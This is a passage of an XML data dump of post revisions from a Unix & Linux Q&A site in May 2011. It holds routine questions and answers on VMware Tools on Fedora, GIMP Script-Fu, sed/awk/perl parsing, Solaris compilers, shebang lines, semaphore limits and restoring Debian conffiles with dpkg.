  <row Id="31253" PostHistoryTypeId="3" PostId="12732" RevisionGUID="67ddd18c-6009-4767-a82d-853193771dea" CreationDate="2011-05-06T13:03:48.187" UserId="7164" Text="éshellà" />
  <row Id="31254" PostHistoryTypeId="2" PostId="12733" RevisionGUID="a28484d6-efc8-4582-9e75-4163593a7b1e" CreationDate="2011-05-05T17:21:44.707" UserDisplayName="vinnyjames" Text="Where's the best place to find resources to get VMware Tools installed on Fedora (it's a guest on a windows machine with VMware Workstation)?  Had some trouble with Fedora 14 in the past and now I'm trying Fedora 15." />
  <row Id="31255" PostHistoryTypeId="1" PostId="12733" RevisionGUID="a28484d6-efc8-4582-9e75-4163593a7b1e" CreationDate="2011-05-05T17:21:44.707" UserDisplayName="vinnyjames" Text="VMware Tools on Fedora" />
  <row Id="31256" PostHistoryTypeId="3" PostId="12733" RevisionGUID="a28484d6-efc8-4582-9e75-4163593a7b1e" CreationDate="2011-05-05T17:21:44.707" UserDisplayName="vinnyjames" Text="évmwareàéfedoraà" />
  <row Id="31257" PostHistoryTypeId="17" PostId="12733" RevisionGUID="709da2a9-14c1-4c23-b341-6730873c61d5" CreationDate="2011-05-06T13:10:48.810" UserId="-1" Comment="from http://stackoverflow.com/questions/5901736/vmware-tools-on-fedora" Text="" />
  <row Id="31258" PostHistoryTypeId="2" PostId="12734" RevisionGUID="00c3db19-dc78-4c97-854d-b3ffcf186176" CreationDate="2011-05-06T13:33:43.207" UserId="7167" Text="The original X Window System does only have a X11 selection, which is only text. There are several extensions to implement a clipboard but the applications, which use them are not fully compatible to each other.&#xD;&#xA;&#xD;&#xA;Instead of using a X11 clip board you can use Gimp as a clip board. You can start Gimp and after this you can call gimp-remote to load am image for example. You can also try if Gimps paste function is compatible with your application.&#xD;&#xA;&#xD;&#xA;Furthermore you can start the Script-Fu server. Default port is 10008. After this you can send Script-Fu commands to the server.  For example this creates a new image:&#xD;&#xA;&#xD;&#xA;    CMD='(gimp-display-new (car (gimp-image-new 300 200 0)))'&#xD;&#xA;    echo -e $(printf 'G\\0000\\%0.4o%s' ${#CMD} &quot;$CMD&quot;) | nc -q1 localhost 10008&#xD;&#xA;&#xD;&#xA;This approach will require some additional programming to implement the functionality you have requested. But is should be possible." />
  <row Id="31259" PostHistoryTypeId="2" PostId="12735" RevisionGUID="862c5c88-9ca5-43bc-9265-5a3050cc5220" CreationDate="2011-05-06T13:41:02.140" UserId="7167" Text="Try reading a C programming tutorial like this&#xD;&#xA;http://www.iu.hio.no/~mark/CTutorial/CTutorial.html&#xD;&#xA;&#xD;&#xA;and reading the GNU make documentation&#xD;&#xA;http://www.gnu.org/software/make/&#xD;&#xA;&#xD;&#xA;Dup: http://unix.stackexchange.com/questions/12725/how-to-build-lc-tool-in-linux" />
  <row Id="31260" PostHistoryTypeId="2" PostId="12736" RevisionGUID="a2b203c9-4867-44a4-97f0-49c2909d1913" CreationDate="2011-05-06T13:46:10.863" UserId="7278" Text="super simple question i think- when i use the shebang `#!/usr/bin/env python` to run a script, how does the system know which python to use?  if i look for a python bin path in the environment variables, i find nothing.&#xD;&#xA;&#xD;&#xA;`env | grep -i python`&#xD;&#xA;&#xD;&#xA;thanks :)" />
  <row Id="31261" PostHistoryTypeId="1" PostId="12736" RevisionGUID="a2b203c9-4867-44a4-97f0-49c2909d1913" CreationDate="2011-05-06T13:46:10.863" UserId="7278" Text="/usr/bin/env python" />
  <row Id="31262" PostHistoryTypeId="3" PostId="12736" RevisionGUID="a2b203c9-4867-44a4-97f0-49c2909d1913" CreationDate="2011-05-06T13:46:10.863" UserId="7278" Text="éenvironmentövariablesàépythonà" />
  <row Id="31263" PostHistoryTypeId="2" PostId="12737" RevisionGUID="45803ccb-26d0-443f-a5be-10ee24998814" CreationDate="2011-05-06T13:52:41.993" UserId="7279" Text="I am using Ubuntu 8.04, and it was working fine until a few days ago, the pop screen for ShutDown started taking too long to come(about 3 mins) and in the mean time computer freezes. However, after about 3 mins when it appears everything looks normal and when shut down is clicked, it shut downs smoothly." />
  <row Id="31264" PostHistoryTypeId="1" PostId="12737" RevisionGUID="45803ccb-26d0-443f-a5be-10ee24998814" CreationDate="2011-05-06T13:52:41.993" UserId="7279" Text="Shutdown screen taking too long to pop up in Ubuntu 8.04.." />
  <row Id="31265" PostHistoryTypeId="3" PostId="12737" RevisionGUID="45803ccb-26d0-443f-a5be-10ee24998814" CreationDate="2011-05-06T13:52:41.993" UserId="7279" Text="éubuntuàéshutdownà" />
  <row Id="31266" PostHistoryTypeId="2" PostId="12738" RevisionGUID="0ce23dab-7bec-4b7c-8d12-2ec55d49ba9e" CreationDate="2011-05-06T13:56:06.053" UserId="3389" Text="Many times it's worth it to put strange error messages regarding compiling through Google.  When I did this, it seems that you are using Solaris, and Solaris doesn't come with a compiler out of the box and that is why you are seeing this.  I'm not familiar with Solaris at all, but maybe you need to use its package management tools or something similar to actually install the compiler if this is the case." />
  <row Id="31268" PostHistoryTypeId="2" PostId="12740" RevisionGUID="3f2b96ee-2d47-47a3-bf92-5735ce98011d" CreationDate="2011-05-06T13:57:09.920" UserId="885" Text="So you want to extract some data from the first line and the last line? Just use a single command for each, printing two lines the first time.&#xD;&#xA;&#xD;&#xA;    sed -n -e '1s/^\(.*\)-\(.*\)\.txt$/\1&#xD;&#xA;    \2/p' -e '$s/^\(.*\)-\(.*\)\.txt$/\2/p'&#xD;&#xA;&#xD;&#xA;You might find awk clearer if wordier.&#xD;&#xA;&#xD;&#xA;    awk -F- '{gsub(/\.[^.]*$/,&quot;&quot;);&#xD;&#xA;              dt=$2}&#xD;&#xA;             NR==1 {print $1; print $2}&#xD;&#xA;             END {print dt}'&#xD;&#xA;&#xD;&#xA;Or Perl.&#xD;&#xA;&#xD;&#xA;    perl -l -ne 's/\.[^.]*$//;&#xD;&#xA;                 /^(.*)-(.*)$/ or next;&#xD;&#xA;                 print $1 if $.==1;&#xD;&#xA;                 print $2 if $.==1 || eof'&#xD;&#xA;" />
  <row Id="31269" PostHistoryTypeId="5" PostId="12732" RevisionGUID="94ed91d8-c66a-48ed-bac6-bc9d8a59c4fc" CreationDate="2011-05-06T14:04:06.403" UserId="885" Comment="added 50 characters in body; edited tags" Text="    SHELL=/bin/sh  &#xD;&#xA;    CC=cc&#xD;&#xA;    &#xD;&#xA;    # Objects we link together.&#xD;&#xA;    OBJ=lc.o get.o&#xD;&#xA;    &#xD;&#xA;    all:	$(OBJ)  &#xD;&#xA;    	$(CC) -o lc   &#xD;&#xA;              $(OBJ)&#xD;&#xA;    &#xD;&#xA;    lc.o:	lc.c lc.h  &#xD;&#xA;    get.o:	get.c lc.h&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31270" PostHistoryTypeId="6" PostId="12732" RevisionGUID="94ed91d8-c66a-48ed-bac6-bc9d8a59c4fc" CreationDate="2011-05-06T14:04:06.403" UserId="885" Comment="added 50 characters in body; edited tags" Text="émakeà" />
  <row Id="31271" PostHistoryTypeId="2" PostId="12741" RevisionGUID="2983daa0-d96a-4f44-8828-b0d14202a257" CreationDate="2011-05-06T14:04:40.537" UserId="1777" Text="Dear all,&#xD;&#xA;Could you suggest a good base converter that also does &quot;signed&quot; conversions? Either `gbase` does not do it, or I can't see how it's done. Any help would be great. What I want to do is give the program an integer, say, -100, and I need to know the binary byte representation of it (in the example, 1 byte, first bit set to 1). I could possibly calculate this number by hand, but I got to do 1000s of them, and bigger than a single byte." />
  <row Id="31272" PostHistoryTypeId="1" PostId="12741" RevisionGUID="2983daa0-d96a-4f44-8828-b0d14202a257" CreationDate="2011-05-06T14:04:40.537" UserId="1777" Text="Good base converter or help using gbase?" />
  <row Id="31273" PostHistoryTypeId="3" PostId="12741" RevisionGUID="2983daa0-d96a-4f44-8828-b0d14202a257" CreationDate="2011-05-06T14:04:40.537" UserId="1777" Text="élinuxàéutilitiesà" />
  <row Id="31274" PostHistoryTypeId="5" PostId="12725" RevisionGUID="5136d08a-693f-412c-856d-48ba219f01f6" CreationDate="2011-05-06T14:05:11.957" UserId="885" Comment="added 45 characters in body; edited tags" Text="lc----A tool to count lines of code in C files.  &#xD;&#xA;&#xD;&#xA;The make file of lc is given as below  &#xD;&#xA;&#xD;&#xA;    SHELL=/bin/sh  &#xD;&#xA;    CC=cc&#xD;&#xA;    &#xD;&#xA;    # Objects we link together.&#xD;&#xA;    OBJ=lc.o get.o&#xD;&#xA;    &#xD;&#xA;    all:	$(OBJ)&#xD;&#xA;    	$(CC) -o lc $(OBJ)&#xD;&#xA;    &#xD;&#xA;    lc.o:	lc.c lc.h  &#xD;&#xA;    get.o:	get.c lc.h&#xD;&#xA;&#xD;&#xA;I have the source on my desktop. So what should I enter on the shell command line. I have tried `/home/desktop/lc/lc.c`. It's not running.  &#xD;&#xA;" />
  <row Id="31275" PostHistoryTypeId="6" PostId="12725" RevisionGUID="5136d08a-693f-412c-856d-48ba219f01f6" CreationDate="2011-05-06T14:05:11.957" UserId="885" Comment="added 45 characters in body; edited tags" Text="écompilingà" />
  <row Id="31276" PostHistoryTypeId="2" PostId="12742" RevisionGUID="9630b929-8604-4671-bb19-8d6708d6270d" CreationDate="2011-05-06T14:06:09.210" UserId="2594" Text="First, you should probably remove /usr/ucb from your PATH as this directory is quite obsolete now. It was meant to ease people migrating from SunOS 4 to Solaris 2 a couple of decade ago, but doesn't make much sense these days. Espacially this cc commands which set flags to compile BSDish code.&#xD;&#xA;&#xD;&#xA;Second, all current Solaris releases comes with a C compiler out of the box but it is located in a directory which might not be in your PATH, /usr/sfw/bin and is named gcc (Gnu compiler).&#xD;&#xA;&#xD;&#xA;use `/usr/sfw/bin/gcc`&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    PATH=$PATH:/usr/sfw/bin&#xD;&#xA;    gcc&#xD;&#xA;&#xD;&#xA;Alternatively, you might have already installed (or you can install) the Solaris Studio compiler. In that case, its path would be &amp;lt;installation-dir&amp;gt;/bin/cc (eg: /opt/SUNWspro/bin/cc or /opt/SolarisStudio11/bin/cc etc ...)" />
  <row Id="31277" PostHistoryTypeId="5" PostId="12738" RevisionGUID="0ee7d330-b0be-419c-8c16-38e168fb6d61" CreationDate="2011-05-06T14:14:20.087" UserId="3389" Comment="deleted 32 characters in body" Text="Many times it's worth it to put strange error messages regarding compiling through Google.  When I did this, it seems Solaris doesn't come with a compiler out of the box and that is why you are seeing this.  I'm not familiar with Solaris at all, but maybe you need to use its package management tools or something similar to actually install the compiler if this is the case." />
  <row Id="31281" PostHistoryTypeId="2" PostId="12744" RevisionGUID="1b9dfea2-9a80-4d27-89db-1444ebb75fa2" CreationDate="2011-05-06T14:26:05.207" UserId="5923" Text="Your Solaris installation doesn't have a compiler installed.&#xD;&#xA;Back in the 1900:s, Sun charged extra for their C compiler, and provided a stub &quot;cc&quot; command instead, just to remind you that the compiler is not installed.&#xD;&#xA;&#xD;&#xA;To compile a file, you need to install a compiler for the same Solaris version (2.5.1?) and architecture (SPARC/sun4m?) that matches your operating system and computer hardware.&#xD;&#xA;&#xD;&#xA;Read more at &lt;a href=&quot;http://www.sunfreeware.com/&quot;&gt;SunFreeware.com&lt;/a&gt; for free software that installs under /usr/local/.&#xD;&#xA;&#xD;&#xA;If you take that open source/GNU road, you will probably need to install a lot of packages to satisfy dependencies before it works, but if you have the disk space it would probably be worth it.&#xD;&#xA;&#xD;&#xA;Old versions of Sun's SparCompiler/Forte/SunStudio can be hard to obtain for your (supposedly) old machine, as they were typically licensed with node locked licenses, and you will not be able to buy a license for those obsoleted software packages any more." />
  <row Id="31283" PostHistoryTypeId="2" PostId="12745" RevisionGUID="f716f7d9-3515-4590-9126-663da348ab3f" CreationDate="2011-05-06T14:33:29.713" UserId="1170" Text="According to the [manpage](http://manpages.ubuntu.com/manpages/natty/man1/gbase.1.html), gbase has a parameter `-s` to enter signed numbers." />
  <row Id="31284" PostHistoryTypeId="5" PostId="12742" RevisionGUID="c626a2af-a23b-438f-90e2-d6077da0ca0f" CreationDate="2011-05-06T14:41:51.940" UserId="2594" Comment="added 9 characters in body" Text="First, you should probably remove /usr/ucb from your PATH as this directory is quite obsolete now. It was meant to ease people migrating from SunOS 4 to Solaris 2 a couple of decades ago but doesn't make much sense these days. Espacially this cc commands which set specific flags to compile BSDish code.&#xD;&#xA;&#xD;&#xA;Second, all current Solaris releases comes with a C compiler out of the box but it is located in a directory which might not be in your PATH, /usr/sfw/bin and is named gcc (Gnu compiler).&#xD;&#xA;&#xD;&#xA;use `/usr/sfw/bin/gcc`&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    PATH=$PATH:/usr/sfw/bin&#xD;&#xA;    gcc&#xD;&#xA;&#xD;&#xA;Alternatively, you might have already installed (or you can install) the Solaris Studio compiler. In that case, its path would be &amp;lt;installation-dir&amp;gt;/bin/cc (eg: /opt/SUNWspro/bin/cc or /opt/SolarisStudio11/bin/cc etc ...)" />
  <row Id="31285" PostHistoryTypeId="2" PostId="12746" RevisionGUID="21846597-5490-48a6-9576-b9313d1b0bc9" CreationDate="2011-05-06T14:42:04.843" UserId="715" Text="In a Debian lenny server running postgresql, I noticed that a lack of semaphore arrays is preventing Apache from starting up.&#xD;&#xA;&#xD;&#xA;Looking at the limits, I see 128 arrays used out of 128 arrays maximum, for semaphores. I know this is the problem because it happens on a `semget` call.&#xD;&#xA;&#xD;&#xA;How do I increase the number of arrays?&#xD;&#xA;&#xD;&#xA;PS: I need Apache running to make use of phppgadmin.&#xD;&#xA;" />
  <row Id="31286" PostHistoryTypeId="1" PostId="12746" RevisionGUID="21846597-5490-48a6-9576-b9313d1b0bc9" CreationDate="2011-05-06T14:42:04.843" UserId="715" Text="How do I increase the number of semaphore arrays in Linux?" />
  <row Id="31287" PostHistoryTypeId="3" PostId="12746" RevisionGUID="21846597-5490-48a6-9576-b9313d1b0bc9" CreationDate="2011-05-06T14:42:04.843" UserId="715" Text="élinuxàédebianàésemaphoreàéresourcesàéipcà" />
  <row Id="31288" PostHistoryTypeId="2" PostId="12747" RevisionGUID="67d76d60-8f1d-4495-abff-312c8e41fe14" CreationDate="2011-05-06T14:47:15.307" UserId="7282" Text="Right, so run: &#xD;&#xA;&#xD;&#xA;    env | grep PATH&#xD;&#xA;&#xD;&#xA;Your $PATH is a list of directories. Unix will go through that list of directories, in order, until it finds &quot;python&quot;.&#xD;&#xA;&#xD;&#xA;You can see which directory it finds with the 'which' command:&#xD;&#xA;&#xD;&#xA;    which python" />
  <row Id="31289" PostHistoryTypeId="5" PostId="12665" RevisionGUID="10b1ae68-cecc-4aa9-94f1-e75cfe05ab5f" CreationDate="2011-05-06T15:00:29.147" UserId="1900" Comment="added 59 characters in body" Text="Have tried many windows managers including TWM, xfce and Gnome, but my mouse pointer is gone. It is invisible, but it performs all the actions. If I do the right click the context menu opens and this is how I can tell what the current location of the pointer is.&#xD;&#xA;&#xD;&#xA;This is a newest stable built of Debian.&#xD;&#xA;&#xD;&#xA;How can I restore the mouse pointer?&#xD;&#xA;&#xD;&#xA;The output from lsmod is included below.&#xD;&#xA;Links &#xD;&#xA;&#xD;&#xA;[to Xserver logs][1] and &#xD;&#xA;&#xD;&#xA;[dmesg output][2].&#xD;&#xA;&#xD;&#xA;Can anybody help?&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;It does indeed work well with the 2.6.38 kernel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;lsmod:&#xD;&#xA;&#xD;&#xA;    Module                  Size  Used by&#xD;&#xA;    nls_utf8                 908  1 &#xD;&#xA;    nls_cp437               4489  1 &#xD;&#xA;    vfat                    6570  1 &#xD;&#xA;    fat                    34912  1 vfat&#xD;&#xA;    usbhid                 28008  0 &#xD;&#xA;    hid                    50909  1 usbhid&#xD;&#xA;    cpufreq_conservative     4018  0 &#xD;&#xA;    cpufreq_userspace       1480  0 &#xD;&#xA;    cpufreq_powersave        602  0 &#xD;&#xA;    cpufreq_stats           1940  0 &#xD;&#xA;    ppdev                   4058  0 &#xD;&#xA;    lp                      5570  0 &#xD;&#xA;    sco                     5857  2 &#xD;&#xA;    bridge                 33019  0 &#xD;&#xA;    stp                      996  1 bridge&#xD;&#xA;    bnep                    7444  2 &#xD;&#xA;    rfcomm                 25175  0 &#xD;&#xA;    l2cap                  21709  4 bnep,rfcomm&#xD;&#xA;    bluetooth              36319  6 sco,bnep,rfcomm,l2cap&#xD;&#xA;    binfmt_misc             4907  1 &#xD;&#xA;    fuse                   44256  1 &#xD;&#xA;    ext4                  257803  1 &#xD;&#xA;    jbd2                   56155  1 ext4&#xD;&#xA;    crc16                   1027  2 l2cap,ext4&#xD;&#xA;    loop                    9765  0 &#xD;&#xA;    firewire_sbp2           9647  0 &#xD;&#xA;    snd_intel8x0           19595  0 &#xD;&#xA;    snd_ac97_codec         79148  1 snd_intel8x0&#xD;&#xA;    arc4                     974  4 &#xD;&#xA;    ecb                     1405  4 &#xD;&#xA;    ac97_bus                 710  1 snd_ac97_codec&#xD;&#xA;    rt2500pci              11303  0 &#xD;&#xA;    snd_pcm_oss            28671  0 &#xD;&#xA;    rt2x00pci               3773  1 rt2500pci&#xD;&#xA;    snd_mixer_oss          10461  1 snd_pcm_oss&#xD;&#xA;    ath5k                 104074  0 &#xD;&#xA;    rt2x00lib              19101  2 rt2500pci,rt2x00pci&#xD;&#xA;    ath                     6014  1 ath5k&#xD;&#xA;    snd_pcm                47226  3 snd_intel8x0,snd_ac97_codec,snd_pcm_oss&#xD;&#xA;    i915                  223024  2 &#xD;&#xA;    mac80211              123570  3 rt2x00pci,ath5k,rt2x00lib&#xD;&#xA;    snd_seq_midi            3576  0 &#xD;&#xA;    cfg80211               87657  4 ath5k,rt2x00lib,ath,mac80211&#xD;&#xA;    snd_rawmidi            12513  1 snd_seq_midi&#xD;&#xA;    drm_kms_helper         18309  1 i915&#xD;&#xA;    snd_seq_midi_event      3684  1 snd_seq_midi&#xD;&#xA;    rfkill                 10264  3 bluetooth,cfg80211&#xD;&#xA;    eeprom_93cx6             963  1 rt2500pci&#xD;&#xA;    drm                   112088  3 i915,drm_kms_helper&#xD;&#xA;    snd_seq                35463  2 snd_seq_midi,snd_seq_midi_event&#xD;&#xA;    pcmcia                 16194  0 &#xD;&#xA;    snd_timer              12258  2 snd_pcm,snd_seq&#xD;&#xA;    i2c_algo_bit            3497  1 i915&#xD;&#xA;    snd_seq_device          3673  3 snd_seq_midi,snd_rawmidi,snd_seq&#xD;&#xA;    yenta_socket           16403  3 &#xD;&#xA;    rsrc_nonstatic          7057  1 yenta_socket&#xD;&#xA;    asus_laptop            11090  0 &#xD;&#xA;    pcmcia_core            20450  3 pcmcia,yenta_socket,rsrc_nonstatic&#xD;&#xA;    i2c_i801                6462  0 &#xD;&#xA;    parport_pc             15799  1 &#xD;&#xA;    joydev                  6739  0 &#xD;&#xA;    led_class               1757  3 ath5k,rt2x00lib,asus_laptop&#xD;&#xA;    parport                22554  3 ppdev,lp,parport_pc&#xD;&#xA;    i2c_core               12787  5 i915,drm_kms_helper,drm,i2c_algo_bit,i2c_i801&#xD;&#xA;    snd                    34375  9 snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device&#xD;&#xA;    shpchp                 21220  0 &#xD;&#xA;    evdev                   5609  13 &#xD;&#xA;    video                  14605  1 i915&#xD;&#xA;    battery                 3782  0 &#xD;&#xA;    processor              26327  1 &#xD;&#xA;    button                  3598  1 i915&#xD;&#xA;    ac                      1640  0 &#xD;&#xA;    rng_core                2178  0 &#xD;&#xA;    output                  1204  1 video&#xD;&#xA;    pcspkr                  1207  0 &#xD;&#xA;    soundcore               3450  1 snd&#xD;&#xA;    snd_page_alloc          5045  2 snd_intel8x0,snd_pcm&#xD;&#xA;    psmouse                44809  0 &#xD;&#xA;    serio_raw               2916  0 &#xD;&#xA;    pci_hotplug            18065  1 shpchp&#xD;&#xA;    ext3                   94204  1 &#xD;&#xA;    jbd                    32169  1 ext3&#xD;&#xA;    mbcache                 3762  2 ext4,ext3&#xD;&#xA;    usb_storage            30833  1 &#xD;&#xA;    sd_mod                 26005  6 &#xD;&#xA;    crc_t10dif              1012  1 sd_mod&#xD;&#xA;    8139too                14949  0 &#xD;&#xA;    ata_generic             2067  0 &#xD;&#xA;    ata_piix               17736  3 &#xD;&#xA;    uhci_hcd               16057  0 &#xD;&#xA;    firewire_ohci          16725  0 &#xD;&#xA;    thermal                 9206  0 &#xD;&#xA;    8139cp                 13421  0 &#xD;&#xA;    libata                115753  2 ata_generic,ata_piix&#xD;&#xA;    ehci_hcd               28681  0 &#xD;&#xA;    firewire_core          31243  2 firewire_sbp2,firewire_ohci&#xD;&#xA;    crc_itu_t               1035  1 firewire_core&#xD;&#xA;    thermal_sys             9378  3 video,processor,thermal&#xD;&#xA;    mii                     2714  2 8139too,8139cp&#xD;&#xA;    usbcore                98733  5 usbhid,usb_storage,uhci_hcd,ehci_hcd&#xD;&#xA;    nls_base                4541  5 nls_utf8,nls_cp437,vfat,fat,usbcore&#xD;&#xA;    scsi_mod              101429  4 firewire_sbp2,usb_storage,sd_mod,libata&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/document/pub?id=1pCRtPenb5KPhesS_MeAFHQ_-iMeaWB9pppWezlFiyUA&#xD;&#xA;  [2]: https://docs.google.com/document/pub?id=1gUWYlwJc5CshFqm1iC5NPm02CWs403D1JdQDRzqSAjk" />
  <row Id="31290" PostHistoryTypeId="2" PostId="12748" RevisionGUID="6e2c8e68-db81-4477-95c7-2dbac53a865d" CreationDate="2011-05-06T15:07:34.460" UserId="4671" Text="(I'm following up on Caleb's answer, though most of the relevant information will be in the comments already. I figure a summary might be more convenient than having to look through the comments.)&#xD;&#xA;&#xD;&#xA;So, the issue, as described in Caleb's post, was that Alexander deleted (or possibly modified)`/etc/init.d/apache2` and wanted to get it back. This file was in `apache-2.2-common`. The obvious `apt-get install --reinstall apache2.2-common` doesn't restore the file, though. The reason for this, per Debian policy, is that config files are not touched by the system once they have altered, unless explicitly asked by the user. See [Debian Policy on config file handling: Section 10.7.3](http://www.debian.org/doc/debian-policy/ch-files.html#s10.7.3). Quote:&#xD;&#xA;&#xD;&#xA;&gt; Configuration file handling must conform to the following behavior:&#xD;&#xA;&#xD;&#xA;&gt; 1. local changes must be preserved during&#xD;&#xA;&gt; a package upgrade, and&#xD;&#xA;&#xD;&#xA;&gt; 2. configuration files must be&#xD;&#xA;&gt;    preserved&#xD;&#xA;&gt;    when the package is removed, and only&#xD;&#xA;&gt;    deleted when the package is purged.&#xD;&#xA;&#xD;&#xA;Packages additions and removals are handled by [dpkg](http://packages.qa.debian.org/d/dpkg.html). dpkg distinguishes cases here, when the file is modified, and when it has been completely removed. See the section in the options section starting with `--force-things` in the [dpkg man page](http://manpages.ubuntu.com/manpages/natty/man1/dpkg.1.html). (Linking to Ubuntu's dpkg 1.16 page, because I could not find the Debian squeeze man pages online. If you have a pointer, please comment.)&#xD;&#xA;&#xD;&#xA;So for the two situations&#xD;&#xA;&#xD;&#xA; 1. If you want conf files that have&#xD;&#xA;    been removed to be replaced by&#xD;&#xA;    reinstallation, you need to pass the&#xD;&#xA;    `--force-confmiss` option to dpkg.&#xD;&#xA;&#xD;&#xA; 2. If you want conf files that have&#xD;&#xA;    been altered, but not removed, to be&#xD;&#xA;    replaced by their default version on&#xD;&#xA;    installation, you need to pass both&#xD;&#xA;    the `--force-confnew` and&#xD;&#xA;    `--force-confask` options to dpkg.&#xD;&#xA;    As the man page explains, --force-confnew&#xD;&#xA;    by itself will only replace the modified&#xD;&#xA;    conf file with the default in cases when&#xD;&#xA;    the default is newer than the originally&#xD;&#xA;    installed default, i.e. on an upgrade. &#xD;&#xA;&#xD;&#xA;If we are invoking dpkg via apt, we need to pass these options to apt. This is done as follows for the two cases above :&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confmiss&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;I could not find any documentation for `Dpkg::Options`. I found it by Googling. If you do, please comment.&#xD;&#xA;&#xD;&#xA;Comments:&#xD;&#xA;&#xD;&#xA; 1. I think if you are faced with a&#xD;&#xA;    situation where you have messed up a&#xD;&#xA;    config file and want to back, it is&#xD;&#xA;    safer to rename it, and then use&#xD;&#xA;    `--force-confmiss` rather than&#xD;&#xA;    asking for all your local&#xD;&#xA;    modifications to be replaced by the&#xD;&#xA;    default per `--force-confnew`, which&#xD;&#xA;    is in general not what you want.&#xD;&#xA;&#xD;&#xA; 2. If working with config files, always&#xD;&#xA;    keep them under version control.&#xD;&#xA;    This would make the issues of messed&#xD;&#xA;    up config files moot. I use and&#xD;&#xA;    recommend&#xD;&#xA;    [mercurial](http://mercurial.selenic.com/wiki/).&#xD;&#xA;    In this case (and probably any case&#xD;&#xA;    :-)), you are better off in this&#xD;&#xA;    context using distributed version&#xD;&#xA;    control than a centralized version&#xD;&#xA;    control system like&#xD;&#xA;    [subversion](http://subversion.apache.org/).&#xD;&#xA;&#xD;&#xA; 3. It is also worth mentioning, and&#xD;&#xA;    might have contributed to the&#xD;&#xA;    confusion here, that with apt in&#xD;&#xA;    squeeze, `apache2.2-common` does&#xD;&#xA;    not uninstall cleanly, because of&#xD;&#xA;    [apt bug&#xD;&#xA;    621720](http://bugs.debian.org/621720),&#xD;&#xA;    which coincidentally covers the&#xD;&#xA;    case of `apache2.2-common` removal.&#xD;&#xA;    Per the bug report you will need to use `apt-get&#xD;&#xA;    remove apache2.2-common -o&#xD;&#xA;    pkgProblemResolver::FixByInstall=0`&#xD;&#xA;    (verified by me).&#xD;&#xA;&#xD;&#xA; 4. See [Everything you need to know&#xD;&#xA;    about conffiles: configuration files&#xD;&#xA;    managed by&#xD;&#xA;    dpkg](http://raphaelhertzog.com/2010/09/21/debian-conffile-configuration-file-managed-by-dpkg/)&#xD;&#xA;    for a discussion of dpkg's config&#xD;&#xA;    file handling by [Raphaël&#xD;&#xA;    Hertzog](http://raphaelhertzog.com/about-me/),&#xD;&#xA;    one of dpkg's developers. He&#xD;&#xA;    mentions that `--force-confask` is&#xD;&#xA;    new in Squeeze.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31291" PostHistoryTypeId="25" PostId="12736" RevisionGUID="04828adf-2583-4b1c-978e-427929bd9c67" CreationDate="2011-05-06T15:11:28.863" Comment="http://twitter.com/#!/StackUnix/status/66520462628368384" />
  <row Id="31292" PostHistoryTypeId="2" PostId="12749" RevisionGUID="b38263a7-08d8-4c69-b57d-4314b83cd236" CreationDate="2011-05-06T15:26:22.260" UserId="2594" Text="The shebang expects a full path to the interpreter to use so the following syntax would be incorrect:&#xD;&#xA;&#xD;&#xA;    #!python&#xD;&#xA;&#xD;&#xA;Setting a full path like this would work:&#xD;&#xA;&#xD;&#xA;    #!/usr/local/bin/python&#xD;&#xA;&#xD;&#xA;but would be non portable as python might be installed in /bin or /opt/python/bin or wherever location. &#xD;&#xA;&#xD;&#xA;Using env&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;&#xD;&#xA;is a method allowing a portable way to specify to the OS a full path equivalent to the actual one where python is first located in the PATH." />
  <row Id="31293" PostHistoryTypeId="5" PostId="12748" RevisionGUID="d3a66ab4-cf06-4d73-8998-138a5b7e4524" CreationDate="2011-05-06T15:45:40.090" UserId="4671" Comment="added 508 characters in body; added 8 characters in body" Text="(I'm following up on Caleb's answer, though most of the relevant information will be in the comments already. I figure a summary might be more convenient than having to look through the comments.)&#xD;&#xA;&#xD;&#xA;So, the issue, as described in Caleb's post, was that Alexander deleted (or possibly modified)`/etc/init.d/apache2` and wanted to get it back. This file is in `apache-2.2-common`. The obvious `apt-get install --reinstall apache2.2-common` doesn't restore the file, though. The reason for this, per Debian policy, is that config files are not touched by the system once they have altered, unless explicitly asked by the user. See [Debian Policy on config file handling: Section 10.7.3](http://www.debian.org/doc/debian-policy/ch-files.html#s10.7.3). Quote:&#xD;&#xA;&#xD;&#xA;&gt; Configuration file handling must conform to the following behavior:&#xD;&#xA;&#xD;&#xA;&gt; 1. local changes must be preserved during&#xD;&#xA;&gt; a package upgrade, and&#xD;&#xA;&#xD;&#xA;&gt; 2. configuration files must be&#xD;&#xA;&gt;    preserved&#xD;&#xA;&gt;    when the package is removed, and only&#xD;&#xA;&gt;    deleted when the package is purged.&#xD;&#xA;&#xD;&#xA;Packages additions and removals are handled by [dpkg](http://packages.qa.debian.org/d/dpkg.html). dpkg distinguishes cases here, when the file is modified, and when it has been completely removed. See the section in the options section starting with `--force-things` in the [dpkg man page](http://manpages.ubuntu.com/manpages/natty/man1/dpkg.1.html). (Linking to Ubuntu's dpkg 1.16 page, because I could not find the Debian squeeze man pages online. If you have a pointer, please comment.)&#xD;&#xA;&#xD;&#xA;So for the two situations&#xD;&#xA;&#xD;&#xA; 1. If you want conf files that have&#xD;&#xA;    been removed to be replaced by&#xD;&#xA;    reinstallation, you need to pass the&#xD;&#xA;    `--force-confmiss` option to dpkg.&#xD;&#xA;&#xD;&#xA; 2. If you want conf files that have&#xD;&#xA;    been altered, but not removed, to be&#xD;&#xA;    replaced by their default version on&#xD;&#xA;    installation, you need to pass both&#xD;&#xA;    the `--force-confnew` and&#xD;&#xA;    `--force-confask` options to dpkg.&#xD;&#xA;    As the man page explains, --force-confnew&#xD;&#xA;    by itself will only replace the modified&#xD;&#xA;    conf file with the default in cases when&#xD;&#xA;    the default is newer than the 